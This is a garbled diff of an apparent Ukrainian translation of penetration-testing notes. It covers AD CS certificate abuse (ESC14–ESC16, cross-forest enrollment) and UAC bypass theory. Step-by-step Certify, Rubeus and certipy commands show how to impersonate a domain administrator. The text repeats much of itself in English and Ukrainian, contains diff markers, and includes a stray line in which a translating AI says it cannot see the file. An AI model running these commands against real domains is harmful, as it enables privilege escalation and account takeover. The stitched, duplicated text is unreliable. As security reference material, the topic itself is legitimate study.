"Слабке" відображення виникає, коли строкове значення, що використовується в атрибуті `altSecurityIdentities` для ідентифікації сертифіката, занадто широке, легко відгадуване, покладається на неунікальні поля сертифіката або використовує легко підроблювані компоненти сертифіката. Якщо атакуючий може отримати або створити сертифікат, атрибути якого відповідають такому слабо визначеному явному відображенню для привілейованого облікового запису, він може використовувати цей сертифікат для аутентифікації та імітації цього облікового запису.
Приклади потенційно слабких рядків відображення `altSecurityIdentities` включають:
- Відображення виключно за звичайним Subject Common Name (CN): наприклад, `X509:<S>CN=SomeUser`. Атакуючий може отримати сертифікат з цим CN з менш захищеного джерела.
- Використання надмірно загальних Issuer Distinguished Names (DNs) або Subject DNs без додаткової кваліфікації, як-от конкретний серійний номер або subject key identifier: наприклад, `X509:<I>CN=SomeInternalCA<S>CN=GenericUser`.
- Застосування інших передбачуваних шаблонів або некриптографічних ідентифікаторів, які атакуючий може задовольнити у сертифікаті, який він легітимно отримує або підробляє (якщо він скомпрометував CA або знайшов вразливий шаблон, як в ESC1).
- Mapping solely by a common Subject Common Name (CN): e.g., `X509:<S>CN=SomeUser`. An attacker might be able to obtain a certificate with this CN from a less secure source.
- Using overly generic Issuer Distinguished Names (DNs) or Subject DNs without further qualification like a specific serial number or subject key identifier: e.g., `X509:<I>CN=SomeInternalCA<S>CN=GenericUser`.
- Employing other predictable patterns or non-cryptographic identifiers that an attacker might be able to satisfy in a certificate they can legitimately obtain or forge (if they have compromised a CA or found a vulnerable template like in ESC1).
Атрибут `altSecurityIdentities` підтримує різні формати відображення, такі як:
Атрибут `altSecurityIdentities` підтримує різні формати для відображення, такі як:
- `X509:<I>IssuerDN<S>SubjectDN` (відображення за повними Issuer та Subject DN)
- `X509:<SKI>SubjectKeyIdentifier` (відображення за значенням розширення Subject Key Identifier сертифіката)
- `X509:<SR>SerialNumberBackedByIssuerDN` (відображення за серійним номером, неявно кваліфікованим Issuer DN) — зазвичай це не стандартний формат, зазвичай використовують `<I>IssuerDN<SR>SerialNumber`.
- `X509:<RFC822>EmailAddress` (відображення за RFC822 іменем, зазвичай електронною адресою, із SAN)
- `X509:<SHA1-PUKEY>Thumbprint-of-Raw-PublicKey` (відображення за SHA1-хешем сирого відкритого ключа сертифіката — загалом сильне)
- `X509:<I>IssuerDN<S>SubjectDN` (maps by full Issuer and Subject DN)
- `X509:<SKI>SubjectKeyIdentifier` (maps by the certificate's Subject Key Identifier extension value)
- `X509:<SR>SerialNumberBackedByIssuerDN` (maps by serial number, implicitly qualified by the Issuer DN) - this is not a standard format, usually it's `<I>IssuerDN<SR>SerialNumber`.
- `X509:<RFC822>EmailAddress` (maps by an RFC822 name, typically an email address, from the SAN)
- `X509:<SHA1-PUKEY>Thumbprint-of-Raw-PublicKey` (maps by a SHA1 hash of the certificate's raw public key - generally strong)
Безпека цих відображень значною мірою залежить від специфічності, унікальності та криптографічної стійкості обраних ідентифікаторів сертифіката, використаних у рядку відображення. Навіть за наявності режимів сильного прив’язування сертифікатів на Domain Controllers (які переважно впливають на неявні відображення, засновані на SAN UPNs/DNS та SID-розширенні), неправильно налаштований запис у `altSecurityIdentities` все одно може створити прямий шлях для імітації, якщо сама логіка відображення є помилковою або надто дозволяючою.
Безпека цих відображень сильно залежить від специфічності, унікальності та криптографічної стійкості обраних ідентифікаторів сертифіката, що використовуються в рядку відображення. Навіть за увімкнених режимів суворого прив'язування сертифікатів на Domain Controllers (які здебільшого впливають на неявні відображення, що базуються на SAN UPN/DNS і розширенні SID), неправильно налаштований запис `altSecurityIdentities` все ще може створити прямий шлях для імітації, якщо сама логіка відображення є помилковою або надто дозволяє.
### Сценарій зловживання
### Abuse Scenario
ESC14 націлений на явні відображення сертифікатів в Active Directory (AD), конкретно на атрибут `altSecurityIdentities`. Якщо цей атрибут встановлено (за задумом або через неправильну конфігурацію), атакуючі можуть імітувати облікові записи, пред’являючи сертифікати, які відповідають відображенню.
ESC14 націлений на **explicit certificate mappings** в Active Directory (AD), зокрема на атрибут `altSecurityIdentities`. Якщо цей атрибут встановлено (за задумом або через неправильну конфігурацію), атакуючі можуть імітувати облікові записи, пред'являючи сертифікати, що відповідають відображенню.
#### Scenario A: Attacker Can Write to `altSecurityIdentities`
Передумова: Атакуючий має права запису до атрибута `altSecurityIdentities` цільового облікового запису або має право надати його у вигляді одного з наступних дозволів на цільовому об’єкті AD:
**Precondition**: Attacker has write permissions to the target accounts `altSecurityIdentities` attribute or the permission to grant it in the form of one of the following permissions on the target AD object:
- Write property `altSecurityIdentities`
- Write property `Public-Information`
- Write property (all)
@ -723,59 +721,55 @@ ESC14 націлений на явні відображення сертифік
- `GenericWrite`
- `GenericAll`
- Owner*.
#### Scenario B: Target Has Weak Mapping via X509RFC822 (Email)
- Передумова: У цілі є слабке X509RFC822 відображення в altSecurityIdentities. Атакуючий може встановити атрибут пошти жертви (mail) так, щоб він відповідав X509RFC822 імені цілі, оформити сертифікат від імені жертви і використовувати його для аутентифікації як цільовий обліковий запис.
- **Precondition**: The target has a weak X509RFC822 mapping in altSecurityIdentities. An attacker can set the victim's mail attribute to match the target's X509RFC822 name, enroll a certificate as the victim, and use it to authenticate as the target.
#### Scenario C: Target Has X509IssuerSubject Mapping
- Передумова: У цілі є слабке явне відображення X509IssuerSubject в `altSecurityIdentities`. Атакуючий може встановити атрибут `cn` або `dNSHostName` у жертви так, щоб він відповідав subject відображення X509IssuerSubject цілі. Після цього атакуючий може видати сертифікат від імені жертви і використати цей сертифікат для аутентифікації як цільовий обліковий запис.
- **Precondition**: The target has a weak X509IssuerSubject explicit mapping in `altSecurityIdentities`.The attacker can set the `cn` or `dNSHostName` attribute on a victim principal to match the subject of the targets X509IssuerSubject mapping. Then, the attacker can enroll a certificate as the victim, and use this certificate to authenticate as the target.
#### Scenario D: Target Has X509SubjectOnly Mapping
- Передумова: У цілі є слабке явне відображення X509SubjectOnly в `altSecurityIdentities`. Атакуючий може встановити атрибут `cn` або `dNSHostName` у жертви так, щоб він відповідав subject відображення X509SubjectOnly цілі. Після цього атакуючий може видати сертифікат від імені жертви і використати цей сертифікат для аутентифікації як цільовий обліковий запис.
### конкретні операції
- **Precondition**: The target has a weak X509SubjectOnly explicit mapping in `altSecurityIdentities`. The attacker can set the `cn` or `dNSHostName` attribute on a victim principal to match the subject of the targets X509SubjectOnly mapping. Then, the attacker can enroll a certificate as the victim, and use this certificate to authenticate as the target.
### concrete operations
#### Scenario A
Запросити сертифікат за шаблоном сертифіката `Machine`
Request a certificate of the certificate template `Machine`
```bash
.\Certify.exe request /ca:<ca> /template:Machine /machine
```
Зберегти та конвертувати сертифікат
Збережіть і конвертуйте сертифікат
```bash
certutil -MergePFX .\esc13.pem .\esc13.pfx
```
Аутентифікуватися (з використанням сертифіката)
Аутентифікуватися (використовуючи сертифікат)
```bash
.\Rubeus.exe asktgt /user:<user> /certificate:C:\esc13.pfx /nowrap
```
Очищення (необов'язково)
Я не бачу вмісту файлу. Надішліть, будь ласка, текст (markdown) з src/windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md, який потрібно перекласти, і я виконую переклад з дотриманням вказаних правил.
```bash
Remove-AltSecIDMapping -DistinguishedName "CN=TargetUserA,CN=Users,DC=external,DC=local" -MappingString "X509:<I>DC=local,DC=external,CN=external-EXTCA01-CA<SR>250000000000a5e838c6db04f959250000006c"
```
Для більш конкретних методів атаки в різних сценаріях зверніться до наступного: [adcs-esc14-abuse-technique](https://posts.specterops.io/adcs-esc14-abuse-technique-333a004dc2b9#aca0).
For more specific attack methods in various attack scenarios, please refer to the following: [adcs-esc14-abuse-technique](https://posts.specterops.io/adcs-esc14-abuse-technique-333a004dc2b9#aca0).
## EKUwu Application Policies(CVE-2024-49019) - ESC15
### Explanation
### Пояснення
Опис на https://trustedsec.com/blog/ekuwu-not-just-another-ad-cs-esc надзвичайно детальний. Нижче наведено цитату оригінального тексту.
Опис на https://trustedsec.com/blog/ekuwu-not-just-another-ad-cs-esc надзвичайно ґрунтовний. Нижче наведено цитату з оригінального тексту.
Using built-in default version 1 certificate templates, an attacker can craft a CSR to include application policies that are preferred over the configured Extended Key Usage attributes specified in the template. The only requirement is enrollment rights, and it can be used to generate client authentication, certificate request agent, and codesigning certificates using the **_WebServer_** template
### Abuse
### Зловживання
Нижче наведено посилання на [this link]((https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation#esc15-arbitrary-application-policy-injection-in-v1-templates-cve-2024-49019-ekuwu),Click to see more detailed usage methods.
Нижче наведено посилання на [це посилання]((https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation#esc15-arbitrary-application-policy-injection-in-v1-templates-cve-2024-49019-ekuwu), Натисніть, щоб побачити більш детальні методи використання.
Команда `find` у Certipy може допомогти виявити V1 шаблони, які потенційно вразливі до ESC15, якщо CA не оновлено.
Команда Certipy `find` може допомогти виявити шаблони V1, які потенційно вразливі до ESC15, якщо CA не виправлено.
```bash
certipy find -username cccc@aaa.htb -password aaaaaa -dc-ip 10.0.0.100
```
#### Сценарій A: Direct Impersonation via Schannel
**Крок 1: Запитати сертифікат, вставивши "Client Authentication" Application Policy та цільовий UPN.** Зловмисник `attacker@corp.local` націлюється на `administrator@corp.local`, використовуючи шаблон "WebServer" V1 (який дозволяє заявнику вказати subject).
**Крок 1: Запитати сертифікат, вказавши Application Policy "Client Authentication" та цільовий UPN.** Зловмисник `attacker@corp.local` націлюється на `administrator@corp.local`, використовуючи шаблон "WebServer" V1 (який дозволяє enrollee-supplied subject).
```bash
certipy req \
-u 'attacker@corp.local' -p 'Passw0rd!' \
@ -784,9 +778,9 @@ certipy req \
-upn 'administrator@corp.local' -sid 'S-1-5-21-...-500' \
-application-policies 'Client Authentication'
```
- `-template 'WebServer'`: Вразливий шаблон V1 з "Enrollee supplies subject".
- `-application-policies 'Client Authentication'`: Вставляє OID `1.3.6.1.5.5.7.3.2` в розширення Application Policies у CSR.
- `-upn 'administrator@corp.local'`: Встановлює UPN в SAN для імперсонації.
- `-template 'WebServer'`: Уразливий V1 шаблон з "Enrollee supplies subject".
- `-application-policies 'Client Authentication'`: Вставляє OID `1.3.6.1.5.5.7.3.2` у розширення Application Policies CSR.
- `-upn 'administrator@corp.local'`: Встановлює UPN у SAN для підміни особи.
**Крок 2: Аутентифікуйтеся через Schannel (LDAPS), використовуючи отриманий сертифікат.**
```bash
@ -794,7 +788,7 @@ certipy auth -pfx 'administrator.pfx' -dc-ip '10.0.0.100' -ldap-shell
```
#### Сценарій B: PKINIT/Kerberos Impersonation via Enrollment Agent Abuse
**Крок 1: Request a certificate from a V1 template (with "Enrollee supplies subject"), injecting "Certificate Request Agent" Application Policy.** Цей сертифікат призначений для зловмисника (`attacker@corp.local`), щоб отримати права enrollment agent. Тут не вказано UPN для особистості зловмисника, оскільки мета — здобути саме повноваження агента.
**Крок 1: Request a certificate from a V1 template (with "Enrollee supplies subject"), injecting "Certificate Request Agent" Application Policy.** Цей сертифікат потрібен атакуючому (`attacker@corp.local`), щоб стати enrollment agent. Тут для власної ідентичності атакуючого не вказано UPN, оскільки мета — отримати можливість агента.
```bash
certipy req \
-u 'attacker@corp.local' -p 'Passw0rd!' \
@ -802,9 +796,9 @@ certipy req \
-ca 'CORP-CA' -template 'WebServer' \
-application-policies 'Certificate Request Agent'
```
- `-application-policies 'Certificate Request Agent'`: Інжектує OID `1.3.6.1.4.1.311.20.2.1`.
- `-application-policies 'Certificate Request Agent'`: Вставляє OID `1.3.6.1.4.1.311.20.2.1`.
**Step 2: Use the "agent" certificate to request a certificate on behalf of a target privileged user.** Це крок, схожий на ESC3-like, де сертифікат з Кроку 1 використовується як agent certificate.
**Крок 2: Використайте "agent" сертифікат для запиту сертифіката від імені цільового привілейованого користувача.** Це крок, подібний до ESC3, який використовує сертифікат з Кроку 1 як agent сертифікат.
```bash
certipy req \
-u 'attacker@corp.local' -p 'Passw0rd!' \
@ -816,48 +810,48 @@ certipy req \
```bash
certipy auth -pfx 'administrator.pfx' -dc-ip '10.0.0.100'
```
## Вимкнення розширення безпеки на CA (глобально) - ESC16
## Вимкнено розширення безпеки на CA (глобально)-ESC16
### Пояснення
**ESC16 (Elevation of Privilege via Missing szOID_NTDS_CA_SECURITY_EXT Extension)** стосується сценарію, коли, якщо конфігурація AD CS не вимагає включення **szOID_NTDS_CA_SECURITY_EXT** у всі сертифікати, атакуючий може скористатися цим таким чином:
**ESC16 (Elevation of Privilege via Missing szOID_NTDS_CA_SECURITY_EXT Extension)** відноситься до сценарію, коли конфігурація AD CS не вимагає включення розширення **szOID_NTDS_CA_SECURITY_EXT** у всі сертифікати, і нападник може скористатися цим таким чином:
1. Запит сертифіката **без прив'язки SID**.
1. Запит сертифіката **without SID binding**.
2. Використання цього сертифіката **для автентифікації як будь-який обліковий запис**, наприклад, видаючи себе за обліковий запис з високими привілеями (наприклад, Domain Administrator).
2. Використання цього сертифіката **for authentication as any account**, наприклад для імітації облікового запису з високими привілеями (наприклад, Адміністратор домену).
Додатково можна звернутися до цієї статті, щоб дізнатися більше про детальний принцип: https://medium.com/@muneebnawaz3849/ad-cs-esc16-misconfiguration-and-exploitation-9264e022a8c6
You can also refer to this article to learn more about the detailed principle:https://medium.com/@muneebnawaz3849/ad-cs-esc16-misconfiguration-and-exploitation-9264e022a8c6
### Зловживання
Наведене посилання на [this link](https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation#esc16-security-extension-disabled-on-ca-globally), Click to see more detailed usage methods.
Наведене посилається на [this link](https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation#esc16-security-extension-disabled-on-ca-globally), Клікніть, щоб побачити більш детальні методи використання.
Щоб визначити, чи середовище Active Directory Certificate Services (AD CS) вразливе до **ESC16**
Щоб визначити, чи середовище Active Directory Certificate Services (AD CS) вразливе до **ESC16**
```bash
certipy find -u 'attacker@corp.local' -p '' -dc-ip 10.0.0.100 -stdout -vulnerable
```
**Крок 1: Прочитайте початковий UPN облікового запису жертви (необов'язково - для відновлення).**
**Крок 1: Прочитайте початковий UPN облікового запису жертви (Необов'язково - для відновлення).
```bash
certipy account \
-u 'attacker@corp.local' -p 'Passw0rd!' \
-dc-ip '10.0.0.100' -user 'victim' \
read
```
**Крок 2: Оновіть UPN облікового запису жертви на sAMAccountName цільового адміністратора.**
**Крок 2: Оновіть UPN облікового запису жертви на `sAMAccountName` цільового адміністратора.**
```bash
certipy account \
-u 'attacker@corp.local' -p 'Passw0rd!' \
-dc-ip '10.0.0.100' -upn 'administrator' \
-user 'victim' update
```
**Крок 3: (за потреби) Отримати облікові дані для облікового запису "жертви" (наприклад, через Shadow Credentials).**
**Крок 3: (Якщо потрібно) Отримати облікові дані для облікового запису "victim" (наприклад, через Shadow Credentials).**
```shell
certipy shadow \
-u 'attacker@corp.local' -p 'Passw0rd!' \
-dc-ip '10.0.0.100' -account 'victim' \
auto
```
**Крок 4: Запросіть сертифікат від імені користувача "victim" з _будь-якого підходящого шаблону клієнтської аутентифікації_ (наприклад, "User") на ESC16-вразливому CA.** Оскільки CA вразливий до ESC16, він автоматично не включатиме розширення безпеки SID у виданому сертифікаті, незалежно від конкретних налаштувань шаблону для цього розширення. Встановіть змінну середовища кеша облікових даних Kerberos (shell command):
**Крок 4: Запитайте сертифікат від імені користувача "victim" з _будь-якого підходящого шаблону автентифікації клієнта_ (наприклад, "User") на CA, вразливому до ESC16.** Оскільки CA вразливий до ESC16, він автоматично не додаватиме SID security extension до виданого сертифікату, незалежно від конкретних налаштувань цього розширення в шаблоні. Встановіть змінну середовища Kerberos credential cache (shell command):
```bash
export KRB5CCNAME=victim.ccache
```
@ -881,18 +875,18 @@ certipy auth \
-dc-ip '10.0.0.100' -pfx 'administrator.pfx' \
-username 'administrator' -domain 'corp.local'
```
## Компрометація лісів за допомогою сертифікатів (пояснено у пасивному стані)
## Компрометація лісів за допомогою сертифікатів, пояснена в пасивному стані
### Порушення довірчих відносин між лісами через скомпрометовані CA
### Порушення довірчих зв'язків між лісами через скомпрометовані CA
Налаштування для **cross-forest enrollment** зроблено відносно простим. **root CA certificate** з ресурсного лісу **публікується в account forests** адміністраторами, а **enterprise CA** сертифікати з ресурсного лісу **додаються в контейнери `NTAuthCertificates` та AIA в кожному account forest**. Для ясності: ця конфігурація надає **CA в ресурсному лісі повний контроль** над усіма іншими лісами, для яких він керує PKI. Якщо цей CA буде **скомпрометований атаками**, сертифікати для всіх користувачів як ресурсного, так і account forest можуть бути **підроблені ними**, тим самим буде зламано межу безпеки лісу.
Конфігурація для **cross-forest enrollment** зроблена відносно простою. **root CA certificate** з resource forest **публікується в account forests** адміністраторами, а сертифікати **enterprise CA** з resource forest **додаються до `NTAuthCertificates` та AIA containers в кожному account forest**. Для пояснення, така схема надає **CA в resource forest повний контроль** над усіма іншими лісами, для яких він керує PKI. Якщо цей CA буде **скомпрометовано атаками**, сертифікати для всіх користувачів як у resource, так і в account forests могли б бути **підроблені ними**, тим самим порушивши межу безпеки лісу.
### Надання прав реєстрації іноземним суб'єктам
### Привілеї enrollment, надані foreign principals
У багалісних середовищах потрібно бути обережним з Enterprise CAs, які **публікують шаблони сертифікатів**, що дозволяють **Authenticated Users або foreign principals** (користувачам/групам, які належать до іншого лісу) **права на enrollment та редагування**.\
Після автентифікації через довіру, AD додає **Authenticated Users SID** до токена користувача. Отже, якщо в домені є Enterprise CA зі шаблоном, що **дозволяє Authenticated Users права на enrollment**, цей шаблон потенційно може бути **зареєстрований користувачем з іншого лісу**. Аналогічно, якщо **права на enrollment явно надаються foreign principal у шаблоні**, тим самим створюється **cross-forest access-control relationship**, що дозволяє суб'єкту з одного лісу **реєструватися у шаблоні з іншого лісу**.
У multi-forest середовищах слід дотримуватися обережності щодо Enterprise CAs, які **publish certificate templates**, що дозволяють **Authenticated Users or foreign principals** (користувачі/групи, зовнішні для лісу, до якого належить Enterprise CA) **enrollment and edit rights**.\
Після аутентифікації через trust, **Authenticated Users SID** додається до токена користувача AD. Таким чином, якщо домен має Enterprise CA з шаблоном, який **дозволяє Authenticated Users enrollment rights**, шаблон потенційно може бути **enrolled in by a user from a different forest**. Аналогічно, якщо **enrollment rights явно надані foreign principal шаблоном**, створюється **cross-forest access-control relationship**, що дозволяє принципалу з одного лісу **enroll in a template from another forest**.
Обидва сценарії призводять до **збільшення поверхні атаки** з одного лісу в інший. Налаштування шаблону сертифіката можуть бути використані нападником для отримання додаткових привілеїв у foreign domain.
Обидва сценарії призводять до **збільшення attack surface** з одного лесу до іншого. Налаштування certificate template можуть бути використані атакуючим для отримання додаткових привілеїв у foreign domain.
## References

View File

@ -1,90 +1,89 @@
# UAC - Контроль облікових записів користувача
# UAC - User Account Control
{{#include ../../banners/hacktricks-training.md}}
## UAC
[User Account Control (UAC)](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) — це функція, яка забезпечує запит на згоду для підвищених дій. Застосунки мають різні `integrity` рівні, і програма з **високим рівнем** може виконувати завдання, які **потенційно можуть скомпрометувати систему**. Коли UAC увімкнено, застосунки та завдання завжди **запускаються в контексті облікового запису звичайного користувача**, якщо адміністратор явно не надає цим застосункам/завданням доступ рівня адміністратора для виконання. Це зручна функція, яка захищає адміністраторів від ненавмисних змін, але не вважається межею безпеки.
For more info about integrity levels:
[User Account Control (UAC)](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) — це функція, яка забезпечує запит підтвердження для підвищених дій (**consent prompt for elevated activities**). У додатків є різні `integrity` рівні, і програма з **високим рівнем** може виконувати завдання, які **потенційно можуть скомпрометувати систему**. Коли UAC увімкнено, додатки та завдання за замовчуванням **запускаються в контексті без прав адміністратора**, якщо тільки адміністратор явно не надає цим додаткам/завданням доступ адміністратора для виконання. Це зручна функція, яка захищає адміністраторів від ненавмисних змін, але не вважається межою безпеки.
Для детальнішої інформації про рівні цілісності:
{{#ref}}
../windows-local-privilege-escalation/integrity-levels.md
{{#endref}}
Коли UAC увімкнено, користувачу-адміністратору надаються 2 токени: стандартний токен для виконання звичайних дій як звичайний користувач і ще один токен з привілеями адміністратора.
Коли UAC активовано, користувачу-адміністратору надаються 2 токени: стандартний токен для виконання звичайних дій на звичайному рівні та один із правами адміністратора.
This [page](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) детально описує, як працює UAC, включно з процесом входу, користувацьким досвідом та архітектурою UAC. Адміністратори можуть використовувати політики безпеки для конфігурації роботи UAC на локальному рівні (через secpol.msc) або налаштовувати та розгортати їх через Group Policy Objects (GPO) в середовищі Active Directory. Різні налаштування детально описані [here](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-security-policy-settings). Існує 10 налаштувань Group Policy, які можна задати для UAC. Нижче наведена додаткова інформація:
This [page](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) розглядає роботу UAC детально і включає процес входу, досвід користувача та архітектуру UAC. Адміністратори можуть використовувати політики безпеки для налаштування роботи UAC у своїй організації на локальному рівні (через secpol.msc), або налаштовувати й розгортати через Group Policy Objects (GPO) в середовищі Active Directory. Різні налаштування детально описані [here](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-security-policy-settings). Існує 10 налаштувань Group Policy, які можна встановити для UAC. Нижче наведено додаткові деталі:
| Group Policy Setting | Registry Key | Default Setting |
| ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | --------------------------- | ------------------------------------------------------------ |
| [User Account Control: Admin Approval Mode for the built-in Administrator account](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-admin-approval-mode-for-the-built-in-administrator-account) | FilterAdministratorToken | Disabled |
| [User Account Control: Allow UIAccess applications to prompt for elevation without using the secure desktop](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-allow-uiaccess-applications-to-prompt-for-elevation-without-using-the-secure-desktop) | EnableUIADesktopToggle | Disabled |
| [User Account Control: Admin Approval Mode for the built-in Administrator account](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-admin-approval-mode-for-the-built-in-administrator-account) | FilterAdministratorToken | Вимкнено |
| [User Account Control: Allow UIAccess applications to prompt for elevation without using the secure desktop](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-allow-uiaccess-applications-to-prompt-for-elevation-without-using-the-secure-desktop) | EnableUIADesktopToggle | Вимкнено |
| [User Account Control: Behavior of the elevation prompt for administrators in Admin Approval Mode](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-behavior-of-the-elevation-prompt-for-administrators-in-admin-approval-mode) | ConsentPromptBehaviorAdmin | Prompt for consent for non-Windows binaries |
| [User Account Control: Behavior of the elevation prompt for standard users](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-behavior-of-the-elevation-prompt-for-standard-users) | ConsentPromptBehaviorUser | Prompt for credentials on the secure desktop |
| [User Account Control: Detect application installations and prompt for elevation](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-detect-application-installations-and-prompt-for-elevation) | EnableInstallerDetection | Enabled (default for home) Disabled (default for enterprise) |
| [User Account Control: Only elevate executables that are signed and validated](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-only-elevate-executables-that-are-signed-and-validated) | ValidateAdminCodeSignatures | Disabled |
| [User Account Control: Only elevate UIAccess applications that are installed in secure locations](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-only-elevate-uiaccess-applications-that-are-installed-in-secure-locations) | EnableSecureUIAPaths | Enabled |
| [User Account Control: Run all administrators in Admin Approval Mode](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-run-all-administrators-in-admin-approval-mode) | EnableLUA | Enabled |
| [User Account Control: Switch to the secure desktop when prompting for elevation](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-switch-to-the-secure-desktop-when-prompting-for-elevation) | PromptOnSecureDesktop | Enabled |
| [User Account Control: Virtualize file and registry write failures to per-user locations](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-virtualize-file-and-registry-write-failures-to-per-user-locations) | EnableVirtualization | Enabled |
| [User Account Control: Detect application installations and prompt for elevation](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-detect-application-installations-and-prompt-for-elevation) | EnableInstallerDetection | Увімкнено (за замовчуванням для Home) Вимкнено (за замовчуванням для Enterprise) |
| [User Account Control: Only elevate executables that are signed and validated](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-only-elevate-executables-that-are-signed-and-validated) | ValidateAdminCodeSignatures | Вимкнено |
| [User Account Control: Only elevate UIAccess applications that are installed in secure locations](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-only-elevate-uiaccess-applications-that-are-installed-in-secure-locations) | EnableSecureUIAPaths | Увімкнено |
| [User Account Control: Run all administrators in Admin Approval Mode](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-run-all-administrators-in-admin-approval-mode) | EnableLUA | Увімкнено |
| [User Account Control: Switch to the secure desktop when prompting for elevation](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-switch-to-the-secure-desktop-when-prompting-for-elevation) | PromptOnSecureDesktop | Увімкнено |
| [User Account Control: Virtualize file and registry write failures to per-user locations](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-virtualize-file-and-registry-write-failures-to-per-user-locations) | EnableVirtualization | Увімкнено |
### UAC Bypass Theory
Деякі програми **автопідвищуються автоматично** якщо **користувач належить** до групи **administrators**. Такі бінарні файли у своїх _**Manifests**_ мають опцію _**autoElevate**_ зі значенням _**True**_. Також бінарник має бути **підписаний Microsoft**.
Деякі програми **авто-піднімаються (autoelevated)**, якщо **користувач належить** до **групи адміністраторів**. Ці бінарні файли мають у своїх _**Manifests**_ опцію _**autoElevate**_ зі значенням _**True**_. Бінарний файл також має бути **підписаний Microsoft**.
Багато процесів з авто-підвищенням надають **функціональність через COM-об'єкти або RPC-сервери**, які можуть бути викликані з процесів, що працюють із medium integrity (привілеї рівня звичайного користувача). Зверніть увагу, що COM (Component Object Model) та RPC (Remote Procedure Call) — це методи, які Windows-програми використовують для взаємодії та виконання функцій між процесами. Наприклад, **`IFileOperation COM object`** призначений для обробки файлових операцій (копіювання, видалення, переміщення) і може автоматично підвищити привілеї без запиту.
Багато процесів з авто-підвищенням надають **функціональність через COM-об'єкти або RPC сервери**, які можна викликати з процесів, що працюють з середнім рівнем привілеїв (звичайні привілеї користувача). Зауважте, що COM (Component Object Model) і RPC (Remote Procedure Call) — це методи, які Windows-програми використовують для взаємодії та виконання функцій між різними процесами. Наприклад, **`IFileOperation COM object`** призначений для роботи з файловими операціями (копіювання, видалення, переміщення) і може автоматично підвищувати привілеї без запиту.
Зверніть увагу, що можуть виконуватися певні перевірки, наприклад перевірка, чи процес запущено з **System32 directory**, яку можна обійти, наприклад, **інжекцією в explorer.exe** або інший виконуваний файл, що знаходиться в System32.
Зверніть увагу, що можуть виконуватися певні перевірки, наприклад перевірка, чи процес запускався з каталогу **System32**, яку можна обійти, наприклад, **інжектуючи в explorer.exe** або інший виконуваний файл, розташований у System32.
Інший спосіб обійти ці перевірки — **змінити PEB**. Кожен процес у Windows має Process Environment Block (PEB), який містить важливі дані про процес, такі як шлях до виконуваного файлу. Змінивши PEB, атакуючі можуть підробити (spoof) місцезнаходження свого шкідливого процесу, змушуючи його виглядати так, ніби він запускається з довіреної директорії (наприклад, system32). Ця підроблена інформація обманює COM-об'єкт, щоб він автоматично підвищив привілеї без запиту.
Ще один спосіб обійти ці перевірки — **змінити PEB**. Кожен процес у Windows має Process Environment Block (PEB), який містить важливі дані про процес, такі як шлях до виконуваного файлу. Змінюючи PEB, зловмисники можуть підробити (spoof) місцезнаходження свого шкідливого процесу, зробивши вигляд, ніби він запускається з довіреного каталогу (наприклад, system32). Ця підроблена інформація обманює COM-об'єкт і призводить до авто-підвищення привілеїв без запиту користувача.
Потім, щоб **обійти UAC** (підвищити з рівня medium integrity до high), деякі зловмисники використовують такі бінарні файли для **виконання довільного коду**, оскільки він буде виконаний із процесу з High level integrity.
Потім, щоб **обійти** **UAC** (піднятися з **medium** рівня цілісності **до high**), деякі атаки використовують такого роду бінарники для **виконання довільного коду**, оскільки він буде виконаний з процесу **High level integrity**.
Ви можете **перевірити** _**Manifest**_ бінарного файлу за допомогою інструменту _**sigcheck.exe**_ від Sysinternals. (`sigcheck.exe -m <file>`) Також ви можете **переглянути** рівень integrity процесів за допомогою _Process Explorer_ або _Process Monitor_ (від Sysinternals).
